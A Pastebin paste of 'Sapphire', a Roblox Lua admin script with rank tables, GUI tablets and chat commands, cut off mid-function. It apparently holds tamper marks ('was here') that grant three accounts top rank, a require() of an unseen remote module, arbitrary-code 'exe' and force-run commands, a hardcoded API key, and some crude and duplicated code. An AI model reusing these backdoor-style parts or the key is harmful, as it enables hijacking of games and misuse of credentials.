Advertisement
Mitko1223tm

testing again

Oct 1st, 2017
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.63 KB | None | 0 0
  1. local module = {}
  2. Services = setmetatable({},{__index=function(s,n)
  3. if n == "ChatService" then
  4. return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
  5. else
  6. return game:service(n)
  7. end
  8. end})
  9. local ArchChat = Services.ChatService:AddSpeaker("Sapphire")
  10.  
  11. if not Services.ChatService:GetChannel("All") then
  12. Services.ChatService:AddChannel("All")
  13. for i,v in next, game:service'Players':players() do
  14. if Services.ChatService:GetSpeaker(v.Name) then
  15. Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
  16. end
  17. end
  18. end
  19.  
  20. ArchChat:JoinChannel("All")
  21.  
  22. ArchChat:SetExtraData("NameColor", Color3.new(
  23. 0.0/255.0,
  24. 255/255.0,
  25. 255/255.0))
  26. ArchChat:SetExtraData("ChatColor", Color3.new(
  27. 211.0/255.0,
  28. 211.0/255.0,
  29. 211.0/255.0))
  30.  
  31.  
  32.  
  33.  
  34. ArchChat:SayMessage("Sapphire has loaded.","All")
  35. ArchChat:SayMessage("For rank 0, say cmds! to view commands.","All")
  36.  
  37.  
  38. Services.ChatService:GetChannel("All").WelcomeMessage = "Sapphire Administration has been loaded on this place."
  39.  
  40. --[[ Sapphire by Lethox & KCROL ]]--
  41. local UpdateFound = false;
  42. local SaveLeave = false;
  43. local FC = require(607033461)
  44. local Waves = true
  45. local tabDesign = "Neon"
  46. local BackTab = true
  47. local Override = "TM"
  48. local AgeLimit = 150
  49. --// Variables
  50. local Ranks = {
  51. {Rank = 0, Desc = "Guest"};
  52. {Rank = 1, Desc = "Player"};
  53. {Rank = 2, Desc = "Trusted"};
  54. {Rank = 3, Desc = "Moderator"};
  55. {Rank = 4, Desc = "Admin"};
  56. {Rank = 5, Desc = "Head Admin"};
  57. {Rank = 6, Desc = "Co-Owner"};
  58. {Rank = 7, Desc = "Developer"};
  59. };
  60. local Ranked = {
  61. {['Name'] = 'YT_YTO', ['Rank'] = 7, ['Reason'] = 'Who knows? (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  62. {['Name'] = 'Reloxz', ['Rank'] = 7, ['Reason'] = 'Leaking Sapphire (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  63. {['Name'] = 'LOLMOMMY7', ['Rank'] = 7, ['Reason'] = 'idk anymore (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  64. };
  65.  
  66. local Tablets = {};
  67. local Commands = {};
  68. local Banned = {};
  69. local bannedscripts = {""}
  70. local Splitkey = '/'
  71. --// Functions
  72.  
  73. function Convert(color)
  74. return BrickColor.new(color).Color
  75. end
  76.  
  77. function AgeLimitBan(plr)
  78. if plr.AccountAge < AgeLimit then
  79. plr:kick('[Sapphire]: Your account age is below 150 days. You can join in '..AgeLimit - plr.AccountAge..' days.')
  80. end
  81. end
  82.  
  83. --Message--
  84.  
  85. function Message(msg, plr)
  86. for i,v in pairs(game.Players:GetPlayers()) do
  87. coroutine.wrap(function()
  88. -- Objects
  89.  
  90. local ScreenGui = Instance.new("ScreenGui")
  91. local Frame = Instance.new("Frame")
  92. local TextLabel = Instance.new("TextLabel")
  93. local TextLabel_2 = Instance.new("TextLabel")
  94.  
  95. -- Properties
  96.  
  97. ScreenGui.Parent = v.PlayerGui
  98.  
  99. Frame.Parent = ScreenGui
  100. Frame.BackgroundColor3 = Color3.new(0, 0, 0)
  101. Frame.BackgroundTransparency = 0.5
  102. Frame.Position = UDim2.new(0.5, -150, 0.5, -800)
  103. Frame.Size = UDim2.new(0, 300, 0, 300)
  104. Frame.Visible = true
  105.  
  106. TextLabel.Parent = Frame
  107. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  108. TextLabel.BackgroundTransparency = 1
  109. TextLabel.Position = UDim2.new(0.5, -150, 0, 0)
  110. TextLabel.Size = UDim2.new(0, 300, 0, 50)
  111. TextLabel.Font = Enum.Font.Highway
  112. TextLabel.FontSize = Enum.FontSize.Size32
  113. TextLabel.Text = "Sapphire MESSAGE"
  114. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  115. TextLabel.TextSize = 32
  116.  
  117. TextLabel_2.Parent = Frame
  118. TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
  119. TextLabel_2.BackgroundTransparency = 1
  120. TextLabel_2.Position = UDim2.new(0.5, -100, 0, 100)
  121. TextLabel_2.Size = UDim2.new(0, 200, 0, 100)
  122. TextLabel_2.Font = Enum.Font.SourceSansItalic
  123. TextLabel_2.FontSize = Enum.FontSize.Size14
  124. TextLabel_2.Text = tostring(msg)
  125. TextLabel_2.TextColor3 = Color3.new(1, 1, 1)
  126. TextLabel_2.TextScaled = true
  127. TextLabel_2.TextSize = 14
  128. TextLabel_2.TextWrapped = true
  129.  
  130. Frame:TweenPosition(UDim2.new(0.5,-150,0.5,-150), "Out", "Back", 3)
  131. wait(6)
  132. Frame:TweenPosition(UDim2.new(0.5,-1400,0.5,-150), "Out", 6, 3)
  133. wait(5)
  134. ScreenGui:remove()
  135. end)()
  136. end
  137. end
  138.  
  139. --CFrame--
  140.  
  141. local ang=0
  142. game:GetService("RunService").Stepped:connect(function()
  143. ypcall(function()
  144. for _,Player in pairs(game:service'Players':GetPlayers()) do
  145. local PlayerTablets = {}
  146. for i,v in pairs(Tablets) do
  147. if v.Tab1.Parent ~= nil and v.Tab2.Parent ~= nil and v.Player == Player then
  148. table.insert(PlayerTablets, v)
  149. end
  150. end
  151. for i = 1, #PlayerTablets do
  152. ypcall(function()
  153. local tab = PlayerTablets[i].Tab1
  154. local tab2 = PlayerTablets[i].Tab2
  155. local pos = nil
  156. ypcall(function()
  157. pos = Player.Character.Torso.CFrame
  158. end)
  159. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
  160. local y = math.sin(i + tick()*3.4)
  161. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
  162. local cPos = tab.Position
  163. local ePos = Vector3.new(x, y, z) + (pos.p or Vector3.new(0, -5, 0))
  164. local nPos = (ePos-cPos)*.25
  165. cPos = cPos + nPos
  166. local t = (tick() - tick()) % 360
  167. local change = 0.0025
  168. ang=ang+change
  169. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(-8.25), 0, 0) * CFrame.Angles(math.rad(.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(ang), math.rad(ang), math.rad(ang))
  170. tab2.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 5, 0))) * CFrame.Angles(math.rad(8.25), 0, 0) * CFrame.Angles(math.rad(-.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(0.00001), math.rad(0.00001), math.rad(0.00001))
  171.  
  172. end)
  173. end
  174. end
  175. end)
  176. end)
  177.  
  178. function Output(player,name,color,func)
  179. if name==nil then name='Error!' end
  180. if color==nil then color=tostring('Institutional white') end
  181. if player==nil then return false end
  182. local Tab = Instance.new('Part',workspace.Terrain)
  183. Tab.Anchored,Tab.Locked,Tab.CanCollide,Tab.BottomSurface,Tab.TopSurface=true,true,false,0,0
  184. Tab.Transparency = 0
  185. Tab.Size = Vector3.new(2,2,2)
  186. Tab.BrickColor = BrickColor.new(tostring(color))
  187. Tab.Position = player.Character.Head.Position
  188. local Tabb = Instance.new('Part',workspace.Terrain)
  189. Tabb.Anchored,Tabb.Locked,Tabb.CanCollide,Tabb.BottomSurface,Tabb.TopSurface=true,true,false,0,0
  190. Tabb.Transparency = 0
  191. Tabb.Size = Vector3.new(1.3,1.3,1.3)
  192. Tabb.BrickColor = BrickColor.new(tostring(color))
  193. Tabb.Position = player.Character.Head.Position
  194.  
  195. local Gui=Instance.new("BillboardGui", Tab)
  196. Gui.Adornee=Tab;
  197. Gui.StudsOffset = Vector3.new(0, 1.3, 0)
  198. Gui.Size = UDim2.new(8, 0, 7.5,0)
  199.  
  200. local Label=Instance.new("TextLabel", Gui)
  201. Label.Font = "SciFi"
  202. Label.TextColor3=Convert(tostring(color))
  203. Label.BackgroundTransparency=1
  204. Label.FontSize = "Size24"
  205. Label.Font = "SourceSansBold"
  206. Label.TextStrokeTransparency=1
  207. Label.Text = tostring(name)
  208. Label.TextStrokeColor3=Convert(tostring(color))
  209. Label.Size = UDim2.new(1, 0, 0.5, 0)
  210.  
  211. local CLICK=Instance.new("ClickDetector", Tab)
  212. CLICK.MaxActivationDistance=math.huge
  213.  
  214. CLICK.MouseClick:connect(function(p)
  215. if p.userId == player.userId or GetRank(p) > GetRank(player) then
  216. if func == nil then
  217. for i = 1, 5 do
  218. Tab.Transparency=Tab.Transparency + .1
  219. Tab.Size=Tab.Size - Vector3.new(.01,.01,.01)
  220. wait()
  221. end
  222. Tab:Destroy()
  223. Tabb:Destroy()
  224. else
  225. for i = 1, 5 do
  226. Tab.Transparency=Tab.Transparency + .1
  227. Tab.Size=Tab.Size - Vector3.new(.010,.010,.010)
  228. wait()
  229. end
  230. Tab:Destroy()
  231. Tabb:Destroy()
  232. func = func
  233. func()
  234. end
  235. end
  236. CLICK.MouseHoverEnter:connect(function(p)
  237. if p.Name == player.Name or GetRank(p) > GetRank(player) then
  238. for i = 1, 1 do
  239. Tab.Transparency = .7
  240. Tab.Size = Tab.Size + Vector3.new(.1,.1,.1)
  241. end
  242. end
  243. end)
  244. CLICK.MouseHoverLeave:connect(function(p)
  245. if p.Name == player.Name or GetRank(p) > GetRank(player) then
  246. Tab.Transparency = .3
  247. Tab.Size = Vector3.new(2,2,2)
  248. end
  249. end)
  250. end)
  251.  
  252. if tabDesign == "Double" then
  253. Tab.Size = Vector3.new(2,2,2)
  254. Tabb.Size = Vector3.new(.7,.7,.7)
  255. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  256. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  257. Tabb.Transparency = 0
  258. Tab.Transparency = 0.3
  259. elseif tabDesign == "Plain" then
  260. Tab.Size = Vector3.new(2,2,2)
  261. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  262. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  263. Tabb.Transparency = 1
  264. Tab.Transparency = 0
  265. elseif tabDesign == "SelectionBox" then
  266. Tab.Size = Vector3.new(2,2,2)
  267. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  268. local sel = Instance.new('SelectionBox',Tab)
  269. sel.Color = Tab.BrickColor
  270. sel.LineThickness = 0.01
  271. sel.Adornee = Tab
  272. Tab.Transparency = 0.3
  273. Tabb.Transparency = 1
  274. elseif tabDesign == "DoubledSel" then
  275. Tab.Size = Vector3.new(2,2,2)
  276. Tabb.Size = Vector3.new(.7,.7,.7)
  277. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  278. local sel = Instance.new('SelectionBox',Tab)
  279. sel.Color = Tab.BrickColor
  280. sel.LineThickness = 0.01
  281. sel.Adornee = Tab
  282. Tab.Transparency = 0.3
  283. Tabb.Transparency = 0
  284. elseif tabDesign == "Orb" then
  285. Tab.Size = Vector3.new(2,2,2)
  286. Tabb.Transparency = 1
  287. Tab.Transparency = 0
  288. local m = Instance.new('SpecialMesh',Tab)
  289. m.MeshType = "Sphere"
  290. m.Scale = Vector3.new(1,1,1)
  291. elseif tabDesign == "DoubleOrb" then
  292. Tab.Size = Vector3.new(2,2,2)
  293. Tabb.Size = Vector3.new(1.3,1.3,1.3)
  294. Tab.Transparency = 0.3
  295. local m = Instance.new('SpecialMesh',Tab)
  296. m.MeshType = "Sphere"
  297. m.Scale = Vector3.new(1,1,1)
  298. local m = Instance.new('SpecialMesh',Tabb)
  299. m.MeshType = "Sphere"
  300. m.Scale = Vector3.new(.6,.6,.6)
  301. elseif tabDesign == "Flat" then
  302. Tab.Size = Vector3.new(3,4,0.2)
  303. Tab.Transparency = 0
  304. Tabb.Transparency = 1
  305. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  306. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  307. elseif tabDesign == "DoubleFlat" then
  308. Tab.Size = Vector3.new(3,4,0.4)
  309. Tab.Transparency = .3
  310. Tabb.Transparency = 0
  311. Tabb.Size = Vector3.new(2,3,0.2)
  312. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  313. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  314. elseif tabDesign == "Neon" then
  315. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  316. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  317. Tab.Material = "Neon"
  318. Tab.Size = Vector3.new(2,2,2)
  319. Tab.Transparency=0
  320. Tabb.Size = Vector3.new(.7,.7,.7)
  321. Tabb.Transparency = 1
  322. end
  323.  
  324. table.insert(Tablets, {Tab1 = Tab, Tab2 = Tabb, Player = player})
  325. end
  326.  
  327.  
  328.  
  329. AddRank = function(Name, Rank, Reason, Color, Trans, SelBox, Suffix)
  330. if type(Name) == 'userdata' then Name = Name.Name end
  331. table.insert(Ranked, {['Name'] = Name, ['Rank'] = Rank, ['Reason'] = Reason, ['Color'] = Color, ['Transparency'] = Trans, ['SelBox'] = SelBox, ['Suffix'] = Suffix})
  332. end
  333.  
  334. SetRank = function(player, rank)
  335. if type(player) == 'userdata' then player = player.Name end
  336. for _,plr in next,Ranked do
  337. if plr.Name == player then
  338. plr.Rank = rank
  339. end
  340. end
  341.  
  342. AddRank(player, rank, "A normal player", "Toothpaste", .3, false, '~')
  343. end
  344.  
  345. function getRanked(player)
  346. Dismiss(player)
  347. Output(player, 'Getting ranked table, please wait...', 'Institutional white')
  348. wait(3)
  349. Dismiss(player)
  350. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  351. for _,plr in next,Ranked do
  352. Output(player, plr.Name, 'Institutional white', function()
  353. Dismiss(player)
  354. Output(player, 'Name: '..plr.Name, 'Institutional white')
  355. Output(player, 'Rank: '..GetRank(plr), 'Lime green')
  356. Output(player, 'Description: '..GetDesc(plr), 'Deep orange')
  357. Output(player, 'Suffix: '..GetSuffix(plr), 'Cyan')
  358. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  359. end)
  360. end
  361. end
  362.  
  363. function GetRank(plr)
  364. if type(plr) == 'userdata' then
  365. plr=tostring(plr)
  366. elseif type(plr) == 'string' then
  367. plr=plr.Name
  368. else
  369. plr=plr
  370. end
  371.  
  372. for _,data in pairs(Ranked) do
  373. if data['Name'] == plr then
  374. local rnk = data['Rank']
  375. return rnk --If plr is on the rank list their rank is here
  376. end
  377. end
  378.  
  379. return 0 --Player's rank will be 0 if not on the list
  380. end
  381.  
  382. function GetSuffix(plr)
  383. if type(plr) == 'userdata' then
  384. plr=tostring(plr)
  385. elseif type(plr) == 'string' then
  386. plr=plr.Name
  387. else
  388. plr=plr
  389. end
  390.  
  391. for _,data in pairs(Ranked) do
  392. if data['Name'] == plr then
  393. local suffix = data['Suffix']
  394. return suffix --If plr is on the rank list their rank is here
  395. end
  396. end
  397.  
  398. return '!' --Player's suffix is ! if not ranked.
  399. end
  400.  
  401. function GetDesc(plr)
  402. if type(plr) == 'userdata' then
  403. plr=tostring(plr)
  404. elseif type(plr) == 'string' then
  405. plr=plr.Name
  406. else
  407. plr=plr
  408. end
  409.  
  410. for _,data in pairs(Ranked) do
  411. if data['Name'] == plr then
  412. local reason = data['Reason']
  413. return reason
  414. end
  415. end
  416.  
  417. return 'A normal player!'
  418. end
  419.  
  420. function GetColor(plr)
  421. if type(plr) == 'userdata' then
  422. plr=tostring(plr)
  423. elseif type(plr) == 'string' then
  424. plr=plr.Name
  425. else
  426. plr=plr
  427. end
  428.  
  429. for _,data in pairs(Ranked) do
  430. if data['Name'] == plr then
  431. local clr = data['Color']
  432. return clr --If plr is on the rank list their color here
  433. end
  434. end
  435.  
  436. return 'Cyan' --Player's color is Cyan if not ranked.
  437. end
  438.  
  439. function Dismiss(plr)
  440. pcall(function()
  441. for _,tablets in pairs(Tablets) do
  442. if tablets.Player == plr then
  443. local T = coroutine.create(function()
  444. repeat
  445. game:GetService("RunService").Heartbeat:wait(0.000000000000000000000001)
  446. tablets.Tab1.Size=Vector3.new(tablets.Tab1.Size.X-0.1,tablets.Tab1.Size.Y-0.1,tablets.Tab1.Size.Z-0.1)
  447. tablets.Tab2.Size=Vector3.new(tablets.Tab2.Size.X-0.1,tablets.Tab2.Size.Y-0.1,tablets.Tab2.Size.Z-0.1)
  448. until tablets.Tab1.Size.X<0.3;
  449. tablets.Tab1:Destroy()
  450. tablets.Tab2:Destroy()
  451. end)
  452. coroutine.resume(T)
  453. end
  454. end
  455. end)
  456. end
  457.  
  458. Commands_E = function(player)
  459. Dismiss(player)
  460. for i = 0, 7 do
  461. Output(player, 'Rank '..i..'', GetColor(player), function()
  462. GetCommands(player, i)
  463. end)
  464. end
  465. Output(player, 'Your rank is '..GetRank(player)..'','Bright green')
  466. end
  467.  
  468.  
  469. GetCommands = function(player, rank)
  470. Dismiss(player)
  471. for _, CMDS in pairs(Commands) do
  472. if CMDS['Rank'] <= rank then
  473. Output(player, CMDS['Name'], GetColor(player), function()
  474. Dismiss(player)
  475. Output(player, 'Description: '..CMDS['Desc'], 'Lime green')
  476. Output(player, 'Usage (For you): '..CMDS['Say']..''..GetSuffix(player),'Bright red')
  477. Output(player, 'Rank Needed: '..CMDS['Rank'], 'Cyan')
  478. Output(player, 'Name: '..CMDS['Name'], 'Toothpaste')
  479. Output(player, 'Back', 'Navy blue', function() GetCommands(player, rank) end)
  480. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  481. if GetRank(player) < CMDS['Rank'] then
  482. Output(player, "You can't use this command!","Really red")
  483. else
  484. Output(player, 'You can use this command!','Lime green')
  485. end
  486. end)
  487. end
  488. end
  489. end
  490.  
  491.  
  492.  
  493. function getPlayers(plr)
  494. Dismiss(plr)
  495. Output(plr, 'Dismiss', 'Really red', function() Dismiss(plr) end)
  496. for _,player in pairs(game.Players:GetPlayers()) do
  497. Output(plr, player.Name..' [RANK '..GetRank(player)..']', 'Institutional white',function()
  498. Dismiss(plr)
  499. Output(plr, 'Dismiss', 'Really red', function() Dismiss(plr) end)
  500. Output(plr, 'Name: '..player.Name..'','Institutional white')
  501. Output(plr, 'Rank: '..GetRank(player)..'', 'Lime green')
  502. Output(plr, 'Account Age: '..player.AccountAge..'', 'Cyan')
  503. Output(plr, 'Builders Club Type: '..player.MembershipType.Name..'', 'Deep orange')
  504. Output(plr, 'Description: '..GetDesc(player), 'Really black')
  505. Output(plr, 'Suffix: '..GetSuffix(player), 'Bright red')
  506. Output(plr, 'Color: '..GetColor(player), GetColor(player))
  507. Output(plr, 'Kick', 'Really red', function() Dismiss(plr) player:kick('[Sapphire]: You have been kicked from the game.') end)
  508. Output(plr, 'Ban', 'Really red', function() Dismiss(plr) player:kick('[Sapphire]: You have been banned from the server.') table.insert(Banned, player.Name) end)
  509. end)
  510. end
  511. end
  512.  
  513.  
  514.  
  515. Chatted = function(speaker, message)
  516. if message:sub(1, 2) == '/e' then
  517. if #message > 3 then
  518. message = message:sub(4)
  519. end
  520. elseif message:sub(1, 1) == '*' then
  521. if #message > 2 then
  522. message = message:sub(2)
  523. end
  524. elseif message:sub(1, 1) == '>' then
  525. if #message > 2 then
  526. message = message:sub(2)
  527. end
  528. end
  529.  
  530.  
  531. local command=message
  532. for _, CMDS in pairs(Commands) do
  533. if command:sub(1, #CMDS['Say']+#GetSuffix(speaker)) == CMDS['Say']..GetSuffix(speaker) then
  534. if GetRank(speaker) >= CMDS['Rank'] then
  535. local msg = command:sub(#CMDS["Say"]+#GetSuffix(speaker)+1)
  536. a,b = ypcall(function()
  537. CMDS["Func"](speaker, msg)
  538. end)
  539. if not a then warn(b) Output(speaker, 'ERROR: '..b, 'Really red') end
  540. else
  541. Output(speaker, 'You need rank '..CMDS['Rank']..' to use this command!', 'Really red')
  542. end
  543. end
  544. end
  545. end
  546.  
  547.  
  548.  
  549.  
  550. function NewCommand(name, usage, rank, desc, func)
  551. table.insert(Commands, {['Name'] = name, ['Say'] = usage, ['Rank'] = rank, ['Desc'] = desc, ['Func'] = func})
  552. end
  553.  
  554. function SBChat(title,msg)
  555. pcall(function()
  556. for i,v in pairs(game.Players:GetPlayers()) do
  557. local value = Instance.new('StringValue',v)
  558. value.Name = "SB_Chat"
  559. value.Value = tostring(title)..'/'..msg
  560. game.Debris:AddItem(value,.1)
  561. end
  562. end)
  563. end
  564.  
  565. function SBChatAll(name, cht)
  566. for _,plr in pairs(game.Players:GetPlayers()) do
  567. SBChat(plr, name, cht)
  568. end
  569. end
  570.  
  571. GetPlayers = function(plr, msg)
  572. local plrs = {}
  573. if msg:match("^!") then
  574. return FindPlayers(plr, msg:sub(2), true)
  575. elseif msg == "me" then
  576. table.insert(plrs, plr)
  577. elseif msg == "all" then FindPlayers = function(plr, msg)
  578. local plrs = {}
  579. if msg:match("^!") then
  580. return FindPlayers(plr, msg:sub(2), true)
  581. elseif msg == "me" then
  582. table.insert(plrs, plr)
  583. elseif msg == "all" then
  584. for _,v in pairs(game:service'Players':players()) do
  585. table.insert(plrs, v)
  586. end
  587. elseif msg == "others" then
  588. for _,v in pairs(game:service'Players':players()) do
  589. if v ~= plr then
  590. table.insert(plrs, v)
  591. end
  592. end
  593. else
  594. for _,v in pairs(game:service'Players':players()) do
  595. if v.Name:lower():sub(1,#msg) == msg:lower() then
  596. table.insert(plrs, v)
  597. end
  598. end
  599. end
  600. return plrs
  601. end
  602. for _,v in pairs(game:service'Players':players()) do
  603. table.insert(plrs, v)
  604. end
  605. elseif msg == "others" then
  606. for _,v in pairs(game:service'Players':players()) do
  607. if v ~= plr then
  608. table.insert(plrs, v)
  609. end end
  610. else for _,v in pairs(game:service'Players':players()) do
  611.  
  612. if v.Name:lower():sub(1,#msg) == msg:lower() then
  613. table.insert(plrs, v)
  614. end
  615. end
  616. end
  617. return plrs
  618. end
  619.  
  620. function ConnectPlayer(plr)
  621. wait(1);
  622. for _,bans in pairs(Banned) do
  623. if plr.Name == bans then
  624. plr:kick("[Sapphire]: You are banned!")
  625. end
  626. end
  627. end
  628.  
  629. for _,plr in pairs(game.Players:GetPlayers()) do
  630. ConnectPlayer(plr)
  631. end
  632.  
  633. game.Players.PlayerAdded:connect(function(plr)
  634. ConnectPlayer(plr)
  635. Output(plr, 'Welcome to Sapphire, '..plr.Name..'!','Lime green')
  636. Output(plr, 'Your rank is: '..GetRank(plr),'Deep orange')
  637. Output(plr, 'Click to show commands','Bright green',function() Commands_E(plr) end)
  638. Output(plr, 'Dismiss','Really red',function() Dismiss(plr) end)
  639. Output(plr, 'Your dick is '..GetSuffix(plr), 'Cyan')
  640.  
  641.  
  642. plr.Chatted:connect(function(m)
  643. Chatted(plr, m)
  644. end)
  645.  
  646. ArchChat:SayMessage(plr.Name.." has joined the game!","All")
  647.  
  648. setChatColor(plr)
  649. end)
  650.  
  651. game.Players.PlayerRemoving:connect(function(player)
  652. ArchChat:SayMessage(player.Name.." has left the game.","All")
  653. end)
  654.  
  655. function Sbexe(cmd,plr)
  656. if not type(cmd)=='string'then return end
  657. if plr then
  658. if type(plr)=='userdata'then
  659. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  660. elseif type(plr)=='string'then
  661. plr = game:GetService('Players'):FindFirstChild(plr)
  662. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  663. end
  664. else
  665. for i,v in pairs(game:GetService('Players'):children())do
  666. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  667. end
  668. end
  669. end
  670.  
  671. --// Moving on from functions
  672.  
  673. NewCommand("ForceField", 'ff',3,'Give a player a forcefield',function(player,message)
  674. for _,plr in next,GetPlayers(player,message) do
  675. Instance.new('ForceField',plr.Character)
  676. end
  677. end)
  678.  
  679. NewCommand('Commands', 'cmds',0,'Show the commands',function(player,message)
  680. Commands_E(player)
  681. end)
  682.  
  683. NewCommand('Dismiss','dt',0,'Dismisses tablets',function(player,message)
  684. Dismiss(player)
  685. end)
  686.  
  687. NewCommand('SB Exe','sb',5,'Make a player run a SB Command/Script',function(player,message)
  688. local Split = message:find(Splitkey)
  689. local PreSplit = message:sub(1, Split - 1)
  690. local AfterSplit = message:sub(Split + 1)
  691. for _,plr in next,GetPlayers(player,PreSplit) do
  692. Sbexe(tostring(AfterSplit), plr)
  693. end
  694. end)
  695.  
  696. NewCommand('Kick','kick',4,'Kick a player',function(player,message)
  697. local Split = message:find(Splitkey)
  698. local PreSplit = message:sub(1, Split - 1)
  699. local AfterSplit = message:sub(Split + 1)
  700. for _,plr in next,GetPlayers(player,PreSplit) do
  701. plr:kick('[Sapphire]: You have been kicked for '..tostring(AfterSplit))
  702. end
  703. end)
  704.  
  705. NewCommand('Kill','kill',3,'Kill a player',function(player,message)
  706. for _,plr in next,GetPlayers(player,message) do
  707. plr.Character.Humanoid.Health = 0
  708. end
  709. end)
  710.  
  711. NewCommand('Rank','rank',7,'Set a players rank',function(player,message)
  712. local Split = message:find(Splitkey)
  713. local PreSplit = message:sub(1, Split - 1)
  714. local AfterSplit = message:sub(Split + 1)
  715. for _,plr in next,GetPlayers(player,PreSplit) do
  716. SetRank(plr, tonumber(AfterSplit))
  717. end
  718. end)
  719.  
  720. NewCommand('God','god',3,'God a player',function(player,message)
  721. for _,plr in next,GetPlayers(player,message) do
  722. plr.Character.Humanoid.MaxHealth = math.huge
  723. end
  724. end)
  725.  
  726. NewCommand('UnGod','ungod',3,'Remove a players god mode',function(player,message)
  727. for _,plr in next,GetPlayers(player,message) do
  728. plr.Character.Humanoid.MaxHealth = 100
  729. end
  730. end)
  731.  
  732. NewCommand("SBExe To All",'sball',6,'Run a SB script to everyone',function(player,message)
  733. Output(player, 'Made everyone do '..message,GetColor(player))
  734. for i,v in pairs(game.Players:GetPlayers()) do
  735. Sbexe(message, v)
  736. end
  737. end)
  738.  
  739. NewCommand('Execute','exe',5,'Execute a script',function(player,message)
  740. local success,errored = loadstring(message)
  741. if success and not errored then
  742. success()
  743. else
  744. Output(player, 'Sapphire - Error: '..errored,'Really red')
  745. end
  746. end)
  747.  
  748. NewCommand('UnFF','unff',3,'Remove someones forcefield',function(player,message)
  749. for _,plr in next,GetPlayers(player,message) do
  750. for i,v in pairs(plr.Character:children()) do
  751. if v:IsA("ForceField") or v.ClassName == "ForceField" then
  752. v:remove()
  753. end
  754. end
  755. end
  756. end)
  757.  
  758. NewCommand('Ban','ban',5,'Ban a player',function(player,message)
  759. local Split = message:find(Splitkey)
  760. local PreSplit = message:sub(1, Split - 1)
  761. local AfterSplit = message:sub(Split + 1)
  762. for _,plr in next,GetPlayers(player,PreSplit) do
  763. plr:kick('[Sapphire]: You have been banned for '..tostring(AfterSplit))
  764. table.insert(Banned, plr.Name)
  765. end
  766. end)
  767.  
  768. NewCommand('Message','msg',3,'Send a server message',function(player,message)
  769. Message(message)
  770. end)
  771.  
  772. NewCommand("Set Bass","bass",4,"Set the bass of every sound on ROBLOX",function(player,message)
  773. Output(player, 'Set the bass to '..tonumber(message),GetColor(player))
  774. game:GetService("SoundService").AmbientReverb = tonumber(message)
  775. end)
  776.  
  777. NewCommand('Music','play',4,'Play a music sound',function(player,message)
  778. Output(player, 'Now playing: '..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name..'','Institutional white')
  779. ArchChat:SayMessage("Now playing "..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name, "All")
  780. local s = Instance.new('Sound',workspace) s.SoundId = 'rbxassetid://'..message s.Volume = 1 s.Pitch = 1 s.Looped = true s:play()
  781. end)
  782.  
  783. NewCommand('Stop Music','stop',4,'Stop all running music',function(player,message)
  784. for i,v in pairs(workspace:children(), workspace.Terrain:children()) do
  785. if v:IsA("Sound") then
  786. v:remove()
  787. SBChat('Sapphire','Stopped all running music.')
  788. end
  789. end
  790. end)
  791.  
  792. NewCommand('Respawn','rsp',3,'Respawn a player',function(player,message)
  793. for _,plr in next,GetPlayers(player,message) do
  794. plr:LoadCharacter()
  795. end
  796. end)
  797.  
  798. NewCommand("Define", "def", 0, "Defines a word", function(player, message)
  799. local http=game:GetService('HttpService')
  800. local req=http:GetAsync("http://api.wordnik.com/v4/word.json/"..message.."/definitions?limit=1&includeRelated=false&sourceDictionaries=all&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5",true)
  801. req=http:JSONDecode(req)
  802. local def={}
  803. for i in string.gmatch(req[1].text, "%w+%p*") do
  804. table.insert(def,i)
  805. end
  806. local defs=""
  807. for _,v in pairs(def) do
  808. defs=defs..v.." "
  809. if _%10==0 then defs=defs.."\n" end
  810. end
  811. Output(player,defs,GetColor(player))
  812. end)
  813.  
  814. NewCommand('Rank Override','override',0,'Show a GUI. If you enter the code right, you get rank 6.',function(player,message)
  815. -- Objects
  816.  
  817. local Interface = Instance.new("ScreenGui")
  818. local Body = Instance.new("Frame")
  819. local head = Instance.new("TextLabel")
  820. local CodeInput = Instance.new("TextBox")
